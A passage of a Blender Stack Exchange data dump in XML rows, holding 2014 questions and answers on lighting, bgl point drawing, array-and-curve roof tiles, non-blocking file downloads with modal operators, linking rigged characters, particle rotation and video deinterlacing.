it&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For display purposes you'll want to make sure your sky texture matches up with the rest of the attributes of your lighting, e.g. a sunset for a low color temperature, cloudy for a large lamp size, and of course direction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Other light sources&lt;/strong&gt;&#xA;Other things can emit light too. This can help make things seem more &quot;alive&quot; and less flat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-12-28T20:27:32.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21491" PostTypeId="2" ParentId="21463" CreationDate="2014-12-28T20:37:25.710" Score="8" Body="&lt;p&gt;short answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bgl.glPointSize(5)&#xA;bgl.glBegin(bgl.GL_POINTS)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;less shorter answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open template &lt;code&gt;operator_modal_draw.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;draw_callback_px(self, context)&lt;/code&gt; I call my function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DrawByVertices(&quot;points&quot;, verts2d, [0.5, 1, 0.1, 0.5])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;verts2d&lt;/code&gt; are screen coordinates [(screen.x, screen.y), ..] in my case derived from vector3 like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;#...&#xA;verts2d = []&#xA;for v in bm.verts:&#xA;    new2dCo = location_3d_to_region_2d(context.region, \&#xA;                                       context.space_data.region_3d, \&#xA;                                       v.co)&#xA;    verts2d.append([new2dCo.x,new2dCo.y])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def DrawByVertices(mode, verts2d, color):&#xA;    bgl.glColor4f(*color)&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;&#xA;    if mode is &quot;points&quot;:&#xA;        bgl.glPointSize(5)&#xA;        bgl.glBegin(bgl.GL_POINTS)    &#xA;    elif mode is &quot;lines&quot;:&#xA;        bgl.glLineWidth(2)&#xA;        bgl.glBegin(bgl.GL_LINE_LOOP)&#xA;&#xA;    for x, y in verts2d:&#xA;        bgl.glVertex2f(x, y)&#xA;&#xA;    bgl.glEnd()&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    #restore defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result is colored points drawn on screen over 3d vertex coordinates.  &lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="4958" LastEditDate="2014-12-28T23:27:19.790" LastActivityDate="2014-12-28T23:27:19.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21492" PostTypeId="2" ParentId="21448" CreationDate="2014-12-28T20:52:20.907" Score="7" Body="&lt;p&gt;To summarize all this chat into a single answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crate the tile pieces you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rARIT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an array modifier and make the relative offset a bit smaller than the size of the tiles, so they overlap (I used 0.8 in this example) Use the &quot;end tiles&quot; as Start Cap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1pEz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SLaC5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the selected object press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; and select &quot;Cursor to Selected&quot; so that the cursor goes to the origin of your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IT IS IMPORTANT THAT THE OBJECT AND THE CURVE HAVE THEIR ORIGIN IN THE SAME PLACE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the curve to the shape you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20WUy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a curve modifier after the array modifier, and select your curve as object and choose the deformation axis you want to use (in this example it follows the X axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPHtT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wopbm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tiles array should bend now following the curve like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By alternating different arrays you get an idea of what the rooftop might look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8FtBg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing the count number on the array you should be able to follow the overall structure of the pagoda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the right number of tiles to fill the shape might take some trial and error. You might need to go back and re-shape the length original tiles to fit an exact count you need to fill the rooftop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdckz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edges of the tiles you can just hide on the overall structure of the roof. Like in &lt;a href=&quot;http://www.crossmarkdesign.com/photography/uploaded_images/_MG_3294-copy-791298.jpg&quot; rel=&quot;noreferrer&quot;&gt;the photo on this link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJKQ4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for those purists who don't like shortcuts. You can do a bit of extra work and prepare a tile that is cut in an angle that follows the shape of the rooftop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iSdkX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jDkTO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RODOL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-28T22:59:37.433" LastActivityDate="2014-12-28T22:59:37.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21494" PostTypeId="1" AcceptedAnswerId="21497" CreationDate="2014-12-28T22:09:15.297" Score="3" ViewCount="1663" Body="&lt;p&gt;I've read the following answers already on SE, but I cannot yet seem to replicate the end result I need in Blender 2.71.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13485720/blender-python-scripting-trying-to-prevent-ui-lock-up-while-doing-large-calcula/16744008#16744008&quot;&gt;https://stackoverflow.com/questions/13485720/blender-python-scripting-trying-to-prevent-ui-lock-up-while-doing-large-calcula/16744008#16744008&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7468/blender-not-responding-while-running-my-script/7470#7470&quot;&gt;Blender not responding while running my script&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1050/blender-ui-multithreading-progressbar&quot;&gt;Blender UI Multithreading Progressbar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm running a panel script that uses an operator button to download a file from an external URL. I've not yet found a way to do this without blocking the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested modal operators and used multithreading, no luck yet. Can anyone demonstrate that this is actually possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible, I would then use a modal operator timer to check on the progress and update a label in the ui panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my attempt via a modal operator timer similar to the first link in the list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;import urllib&#xA;from urllib import request&#xA;from urllib.request import urlretrieve&#xA;&#xA;&#xA;def reporthook(blocknum, blocksize, totalsize):&#xA;    readsofar = blocknum * blocksize&#xA;    if totalsize &amp;gt; 0:&#xA;        percent = readsofar * 1e2 / totalsize&#xA;        s = &quot;\r%5.1f%% %*d / %d&quot; % (percent, len(str(totalsize)), readsofar, totalsize)&#xA;        sys.stderr.write(s)&#xA;        if readsofar &amp;gt;= totalsize: # near the end&#xA;            sys.stderr.write(&quot;\n&quot;)&#xA;    else: # total size is unknown&#xA;        sys.stderr.write(&quot;read %d\n&quot; % (readsofar,))&#xA;&#xA;&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    _timer = None&#xA;    _updating = False&#xA;    _download_done = False&#xA;&#xA;    def do_download(self):&#xA;        print(&quot;starting file download&quot;)&#xA;&#xA;        #actual url and local path removed for privacy&#xA;        urlretrieve(&quot;REMOTE_URL&quot;, &quot;LOCAL_DEST&quot;, reporthook) &#xA;&#xA;        self._download_done = True&#xA;&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        if event.type == 'TIMER' and not self._updating:&#xA;            self._updating = True&#xA;            self.do_download()&#xA;            self._updating = False&#xA;&#xA;        if self._download_done:&#xA;            self.cancel(context)&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(2, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        self._updating = False&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;&#xA;&#xA;def register():&#xA;&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)    &#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()        &#xA;&#xA;&#xA;&#xA;bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2016-09-05T18:33:11.500" Title="How do I Download an External File from URL and Display Progress in a Panel without blocking the UI?" Tags="&lt;python&gt;&lt;interface&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21495" PostTypeId="2" ParentId="21489" CreationDate="2014-12-28T23:18:29.227" Score="8" Body="&lt;p&gt;If you want to delete all empties in the current scene, which are not used as mirror object by a mirror modifier, you can use the following script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;obs = set()&#xA;&#xA;for ob in scene.objects:&#xA;    for mod in ob.modifiers:&#xA;        if mod.type == 'MIRROR':&#xA;            obs.add(mod.mirror_object)&#xA;            &#xA;for ob in scene.objects:&#xA;    if ob.type == 'EMPTY' and ob not in obs:&#xA;        #scene.objects.unlink(ob) # version &amp;lt; 2.8 &#xA;        bpy.data.objects.remove(ob) # do unlink is default&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that it will remove empties even if they are used by other modifiers for instance. There is no direct way to figure out all dependencies to tell what users a certain object has.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="15543" LastEditDate="2020-09-23T16:52:43.253" LastActivityDate="2020-09-23T16:52:43.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21496" PostTypeId="1" CreationDate="2014-12-29T02:27:03.977" Score="7" ViewCount="41217" Body="&lt;p&gt;I have multiple blender characters in different blender projects and I want to bring them together in one single project, I already googled this and saw that you have to use append and link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do that, the meshes appear with the rigs and everything but when I try to move the bones and rigs, they have no effect on the character, they just move independently. &lt;/p&gt;&#xA;" OwnerUserId="9705" LastEditorUserId="29" LastEditDate="2014-12-29T08:08:07.583" LastActivityDate="2016-09-13T04:13:22.523" Title="How do you import a rigged character from one blender file to another?" Tags="&lt;export&gt;&lt;rigging&gt;&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21497" PostTypeId="2" ParentId="21494" CreationDate="2014-12-29T04:55:19.700" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/CB3CIct.gif&quot; alt=&quot;Screenshot of Download Test Panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I think I've found the solution to this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of calling a single download file command with &lt;code&gt;urlretrieve&lt;/code&gt;, I opened a remote &lt;code&gt;urllib.request&lt;/code&gt; using the chunk size argument, as well as opening a local file for writing. I used a modal operator to read a new chunk from the URL and write the chunk to the file. &lt;strong&gt;Keeping the chunk size around 16kB seemed to work well.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the download size progress updated to a panel label, I needed to use a second modal operator running to get the label to update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously, in the Event.Timer statement of the second MO, I needed to update any random property in the scene context to get the Status Label to really update properly. Perhaps someone could explain that bit further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I used to trigger the update in the second MO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window_manager.name = bpy.context.window_manager.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my code sample, feel free to comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;import urllib&#xA;from urllib import request&#xA;&#xA;scn = bpy.context.scene&#xA;fileDwnProgress = &quot;&quot;&#xA;url = &quot;REMOTEFILEURL&quot;&#xA;theFile = &quot;LOCALFILEPATH&quot;&#xA;&#xA;def strMsgLabel_Get(self):&#xA;    global fileDwnProgress&#xA;    return fileDwnProgress&#xA;&#xA;bpy.types.Scene.strMsgLabel = bpy.props.StringProperty(&#xA;    name=&quot;Status&quot;, &#xA;    description=&quot;Message Label&quot;, &#xA;    get=strMsgLabel_Get, &#xA;    set=None)&#xA;&#xA;&#xA;class OBJECT_PT_TESTPANEL(bpy.types.Panel):&#xA;    bl_label = &quot;DOWNLOAD TEST PANEL&quot;&#xA;    bl_space_type = &quot;NODE_EDITOR&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw_header(self, context):&#xA;        layout = self.layout&#xA;        layout.label(text=&quot;&quot;, icon=&quot;INFO&quot;)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        row.label(text=scn.strMsgLabel)&#xA;&#xA;&#xA;class mdFileDownload(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;wm.md_file_download&quot;&#xA;    bl_label = &quot;File Download&quot;&#xA;&#xA;    _timer = None&#xA;    _transferring = False&#xA;    _download = False&#xA;    _chunkSize = 16 * 1024  #(16kB seems good chunk size)&#xA;    _fileSize = 0&#xA;    _fp = None&#xA;    _req = None&#xA;    _chunk = None&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        global fileDwnProgress&#xA;        global url &#xA;        global theFile&#xA;&#xA;        if event.type == 'TIMER' and not self._transferring and not self._download:&#xA;&#xA;            self._fp = open(theFile, 'wb')&#xA;            self._req = urllib.request.urlopen(url)&#xA;            self._transferring = True&#xA;&#xA;        if event.type == 'TIMER' and self._transferring:&#xA;&#xA;            self._chunk = self._req.read(self._chunkSize)&#xA;&#xA;            if sys.getsizeof(self._chunk) &amp;lt; self._chunkSize: &#xA;                self._fp.write(self._chunk)&#xA;                self._fileSize += self._chunkSize&#xA;                self._transferring = False&#xA;                self._download = True  &#xA;                self._fp.close()&#xA;            else: &#xA;                self._fp.write(self._chunk)&#xA;                self._fileSize += self._chunkSize&#xA;&#xA;            progress = str(round((self._fileSize/1024/1024),1)) + &quot; MB&quot;&#xA;            fileDwnProgress = progress&#xA;&#xA;&#xA;        if self._download:&#xA;            fileDwnProgress = &quot;Download complete!&quot;&#xA;            self.cancel(context)&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;&#xA;    def execute(self, context):&#xA;        # print(var)&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(0.01, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        self._transferring = False&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;&#xA;&#xA;&#xA;class mdDownloadMonitor(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;wm.md_download_monitor&quot;&#xA;    bl_label = &quot;Download progress monitor&quot;&#xA;&#xA;    _timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        if event.type == 'TIMER':&#xA;            #this is required to trigger the update&#xA;            bpy.context.window_manager.name = bpy.context.window_manager.name&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(0.01, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        bpy.ops.wm.md_file_download()&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;&#xA;&#xA;&#xA;def register():&#xA;&#xA;    bpy.utils.register_class(OBJECT_PT_TESTPANEL)&#xA;    bpy.utils.register_class(mdFileDownload)&#xA;    bpy.utils.register_class(mdDownloadMonitor)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_PT_TESTPANEL)&#xA;    bpy.utils.unregister_class(mdFileDownload) &#xA;    bpy.utils.unregister_class(mdDownloadMonitor)&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()        &#xA;&#xA;bpy.ops.wm.md_download_monitor()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2014-12-30T02:06:58.787" LastActivityDate="2014-12-30T02:06:58.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21499" PostTypeId="2" ParentId="21496" CreationDate="2014-12-29T08:02:07.073" Score="4" Body="&lt;p&gt;You can use append &lt;strong&gt;or&lt;/strong&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;. When you append other objects they will be copied into the .blend and you can use them as you would in the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always add the mesh(es) and rig to a group before linking. This also works for append.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you link objects the objects remain in the original file, only a reference is added. In order to animate a linked object you need to add a proxy &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; to the rig. Proxies can be moved or posed in the new file, but can still only be edited in the original .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that only one instance of a rigged object can be linked.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="9723" LastEditDate="2014-12-30T20:46:26.343" LastActivityDate="2014-12-30T20:46:26.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21500" PostTypeId="2" ParentId="21496" CreationDate="2014-12-29T09:46:00.100" Score="2" Body="&lt;p&gt;Once you use append or link the object then select the object and type in serach box for make Proxy (Ctrl+Alt+p) and select rig that you want to linked. Then you can animate or do whatever. If want edit on that object, You can use one addon (Edit Linked Library).By use of this you can go back and fourth. &lt;/p&gt;&#xA;" OwnerUserId="9714" LastActivityDate="2014-12-29T09:46:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21501" PostTypeId="1" AcceptedAnswerId="21515" CreationDate="2014-12-29T10:41:03.110" Score="2" ViewCount="1750" Body="&lt;p&gt;A hair particle system is used to emit leaves from an animated tree, for some reason the leaves rotate. How can this be stopped? I know that I could convert the particles to meshes, but I would prefer  too keep the particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two subsequent frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h3Ogj.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5j9Jb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SDt6j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emit from faces instead of vertices makes it appear a bit more stable (but then no more particles will be emitted at the tips of the branches), not all leaves are rotating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/33588&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-12-29T16:12:56.170" LastActivityDate="2015-01-01T18:46:16.290" Title="How can unwanted rotation of hair particles be avoided?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21502" PostTypeId="2" ParentId="21496" CreationDate="2014-12-29T11:02:20.523" Score="5" Body="&lt;p&gt;You can copy and paste models from one running instance of Blender to another using the same Copy and Paste keyboard shortcuts that work for the majority of software. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; and then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Mac version for these shortcuts is &lt;kbd&gt;Command&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; but Blender was programed to also recognize the windows version so usually you can use either for OS X Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, open the rigged model in a second instance of Blender and select the Object that you want to transfer over to the other scene.  Copy the model using the appropriate shortcut and then move over to the other scene and paste it in.  The rigging should be pulled over with the objects that are parented to it.  The materials will also transfer over with the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7IX7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-12-29T11:12:11.837" LastActivityDate="2014-12-29T11:12:11.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21505" PostTypeId="1" AcceptedAnswerId="27082" CreationDate="2014-12-29T12:38:40.647" Score="2" ViewCount="390" Body="&lt;p&gt;I have made a game with mirror material using the Render To Texture script. When I hit &lt;kbd&gt;P&lt;/kbd&gt; in Blender, it works. But when I &lt;em&gt;Saved as Runtime Game&lt;/em&gt; and opened my runtime game file, the mirror material was black and did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it doesn't work and how to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result when I export game to Runtime:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/opt/Blender/2.72/scripts/addons/io_export_pc2.py&quot;, line 156, in poll&#xA;    return context.active_object.type in {'MESH', 'CURVE', 'SURFACE', 'FONT'}&#xA;AttributeError: 'NoneType' object has no attribute 'type'&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I use for mirror relfection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;######################################################&#xA;#&#xA;#    RenderToTexture.py        Blender 2.50&#xA;#&#xA;#    Tutorial for using RenderToTexture.py can be found at&#xA;#&#xA;#    www.tutorialsforblender3d.com&#xA;#&#xA;#    Released under the Creative Commons Attribution 3.0 Unported License.  &#xA;#&#xA;#    If you use this code, please include this information header.&#xA;#&#xA;######################################################&#xA;&#xA;#import GameLogic&#xA;import GameLogic&#xA;&#xA;# get current scene&#xA;scene = GameLogic.getCurrentScene()&#xA;&#xA;# get the current controller&#xA;controller = GameLogic.getCurrentController()&#xA;&#xA;# get object script is attached to&#xA;obj = controller.owner&#xA;&#xA;# check to see RenderToTexture has been added&#xA;if &quot;RenderToTexture&quot; in obj:&#xA;&#xA;    # update the texture&#xA;    obj[&quot;RenderToTexture&quot;].refresh(True)&#xA;&#xA;# if RenderToTexture hasn't been added &#xA;else:&#xA;&#xA;    # import VideoTexture module&#xA;    import VideoTexture&#xA;&#xA;    # get a list of objects in the scene&#xA;    objList = scene.objects&#xA;&#xA;    # get camera name being used for render to texture&#xA;    camName = obj['cam']&#xA;&#xA;    # get camera object&#xA;    cam = objList[camName]&#xA;&#xA;    # get the texture material ID&#xA;    matID = VideoTexture.materialID(obj, &quot;MA&quot; + obj['material'])&#xA;&#xA;    # set the texture&#xA;    renderToTexture = VideoTexture.Texture(obj, matID)&#xA;&#xA;    # get the texture image&#xA;    renderToTexture.source = VideoTexture.ImageRender(scene,cam)&#xA;&#xA;    # save RenderToTexture as an object variable&#xA;    obj[&quot;RenderToTexture&quot;] = renderToTexture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2014-12-29T20:15:54.410" LastActivityDate="2015-03-13T15:48:47.383" Title="Mirror material works in blender but does not work in standalone game?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21506" PostTypeId="1" CreationDate="2014-12-29T12:58:29.910" Score="4" ViewCount="966" Body="&lt;p&gt;I have a single audio-video strip in VSE which has video part 2x longer than audio. I can not deinterlace it and have proper av-sync. Here is a more detailed description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using last Blender 2.73 and I'm working on linux (having 10+ years of linux and blender exp.).&#xA;The video is recorded by Panasonic HC V750 camera in default 1080i mode. The ffmpeg -i shows the following info about this recording:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffmpeg version 0.8.13-6:0.8.13-0ubuntu0.13.10.1, Copyright (c) 2000-2014 the Libav developers&#xA;  built on Jul 15 2014 13:48:35 with gcc 4.8.1&#xA;Seems stream 0 codec frame rate differs from container frame rate: 50.00 (50/1) -&amp;gt; 50.00 (50/1)&#xA;Input #0, mpegts, from '00000.MTS':&#xA;  Duration: 00:00:55.75, start: 0.848900, bitrate: 12290 kb/s&#xA;  Program 1 &#xA;    Stream #0.0[0x1011]: Video: h264 (High), yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], 50 fps, 50 tbr, 90k tbn, 50 tbc&#xA;    Stream #0.1[0x1100]: Audio: ac3, 48000 Hz, 5.1, s16, 384 kb/s&#xA;    Stream #0.2[0x1200]: Subtitle: pgssub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've set up Blender properly to have 1920x1080 100% resolution, and I've selected 25fps, PAR 1:1, time mapping 100:100 (everything fairly standard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the video strip is twice as long. I've checked [x] deinterlace checkbox for the video strip. Now I want to have 25fps deinterlaced video, but I'm unable to set 